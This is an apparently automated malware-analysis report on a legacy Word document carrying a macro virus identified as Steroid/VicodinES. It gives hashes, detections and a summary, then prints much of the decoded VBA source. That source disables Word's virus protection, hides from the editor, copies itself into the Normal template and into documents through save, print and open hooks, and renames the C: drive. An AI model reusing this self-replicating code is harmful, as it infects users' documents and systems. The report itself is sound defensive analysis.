Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 95608792e7162117…

MALICIOUS

Office (OLE)

105.0 KB Created: 1998-03-21 04:36:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: dc7e442fa4095e9ce52f5aee3327145c SHA-1: 2478aa35c580a00ff163b374bee596c5ca3fdcdd SHA-256: 95608792e716211757c834772b40aecab4cd2af561019af326553d9f1cca56ad
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a legacy Word document containing VBA macros, including AutoOpen and AutoClose, which are commonly used to execute malicious code upon opening or closing the document. The VBA script attempts to disable virus protection and export its own components to 'c:\startup.log' and 'c:\scan.log', indicating an intent to establish persistence or facilitate a second-stage payload. The ClamAV detections 'Win.Trojan.Pivis-2' and 'Doc.Trojan.Steroid-4' further support its malicious nature.

Heuristics 5

  • ClamAV: Win.Trojan.Pivis-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Pivis-2
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6082 bytes
SHA-256: db2b45c955988616521a68e8f109c4b454a5579345e2fb88956ea5baf08c7c17
Detection
ClamAV: Doc.Trojan.Steroid-4
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "X"
Attribute VB_Base = "0{55F10D94-C051-11D1-9F3B-444553540000}{55F10D88-C051-11D1-9F3B-444553540000}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False















Attribute VB_Name = "Bitch"
Declare Function SetVolumeLabel Lib "kernel32" Alias "SetVolumeLabelA" (ByVal lpRootPathName As String, ByVal lpVolumeName As String) As Long
Sub Steroid()
If Application.ShowVisualBasicEditor Then Call out
Application.EnableCancelKey = wdCancelDisabled
On Error Resume Next
If Application.ShowVisualBasicEditor Then Call out
CommandBars("tools").Controls("Macro").Delete
CommandBars("tools").Controls("Templates and add-ins...").Delete
If Application.ShowVisualBasicEditor Then Call out
With Options
.ConfirmConversions = False
.VirusProtection = False
.SaveNormalPrompt = False
End With
If Application.ShowVisualBasicEditor Then Call out
ActiveDocument.ReadOnlyRecommended = False
If Application.ShowVisualBasicEditor Then Call out
Application.ScreenUpdating = False
If Application.ShowVisualBasicEditor Then Call out
Application.VBE.ActiveVBProject.VBComponents("Bitch").Export "c:\startup.log"
Application.VBE.ActiveVBProject.VBComponents("X").Export "c:\scan.log"
For I = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(I).Name = "Bitch" Then NormInstall = True
Next I
If Application.ShowVisualBasicEditor Then Call out
For I = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(I).Name = "Bitch" Then ActivInstall = True
Next I
If Application.ShowVisualBasicEditor Then Call out
If ActivInstall = False Then
With ActiveDocument.VBProject
With .VBComponents.Import("c:\startup.log")
End With
End With
End If
With ActiveDocument.VBProject
With .VBComponents.Import("c:\scan.log")
End With
End With
Call Mover2
If Application.ShowVisualBasicEditor Then Call out
If NormInstall = False Then
With NormalTemplate.VBProject
With .VBComponents.Import("c:\startup.log")
End With
End With
With NormalTemplate.VBProject
With .VBComponents.Import("c:\scan.log")
End With
End With
Call Mover1
volset = SetVolumeLabel("c:\", "Whore")
End If
If Application.ShowVisualBasicEditor Then Call out
If ActivInstall = False Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
If NormInstall = False Then
If NormalTemplate.Saved = False Then NormalTemplate.Save
End If
If Application.ShowVisualBasicEditor Then Call out
Application.ScreenUpdating = True
If Application.ShowVisualBasicEditor Then Call out
fuckoff:
End Sub
Sub HelpAbout()
On Error Resume Next
MsgBox "Linda Tripp is a WHORE!!", vbInformation, "VicodinES Macro Virus"
End Sub
Sub FileSave()
On Error Resume Next
If Application.ShowVisualBasicEditor Then Call out
Call Steroid
Application.ScreenUpdating = False
ActiveDocument.Save
Application.ScreenUpdating = True
End Sub
Sub FileSaveAs()
On Error Resume Next
If Application.ShowVisualBasicEditor Then Call out
Application.ScreenUpdating = False
dialogs(wdDialogFileSaveAs).Show
Application.ScreenUpdating = True
Call Steroid
End Sub
Sub FilePrint()
On Error Resume Next
If Application.ShowVisualBasicEditor Then Call out
dialogs(wdDialogFilePrint).Show
Call Steroid
End Sub
Sub FileClose()
On Error Resume Next
If Application.ShowVisualBasicEditor Then Call out
Call Steroid
Application.ScreenUpdating = False
If ActiveDocument.Saved = False Then ActiveDocument.Save
ActiveDocument.Close
End Sub
Sub FileExit()
On Error Resume Next
If Application.ShowVisualBasicEditor Then Call out
Call Caffeine
Application.Quit
End Sub
Sub AutoOpen()
On Error Resume Next
If Applicat
... (truncated)

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